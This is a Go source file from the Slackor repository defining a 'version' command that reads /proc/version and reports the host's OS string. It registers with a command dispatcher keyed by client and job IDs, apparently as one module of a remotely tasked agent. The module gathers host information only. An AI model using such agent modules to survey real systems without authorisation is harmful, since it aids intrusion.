github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/linux/version.go (about) 1 // +build linux 2 3 package linux 4 5 import ( 6 "github.com/n00py/Slackor/internal/config" 7 "github.com/n00py/Slackor/pkg/command" 8 "io/ioutil" 9 "strings" 10 ) 11 12 // Version gets the OS version 13 type Version struct{} 14 15 // Name is the name of the command 16 func (ver Version) Name() string { 17 return "version" 18 } 19 20 // Run gets the OS version 21 func (ver Version) Run(clientID string, jobID string, args []string) (string, error) { 22 path := "/proc/version" 23 content, _ := ioutil.ReadFile(path) 24 version := strings.Split(string(content), "(") 25 config.OSVersion = version[0] 26 return config.OSVersion, nil 27 } 28 29 func init() { 30 command.RegisterCommand(Version{}) 31 }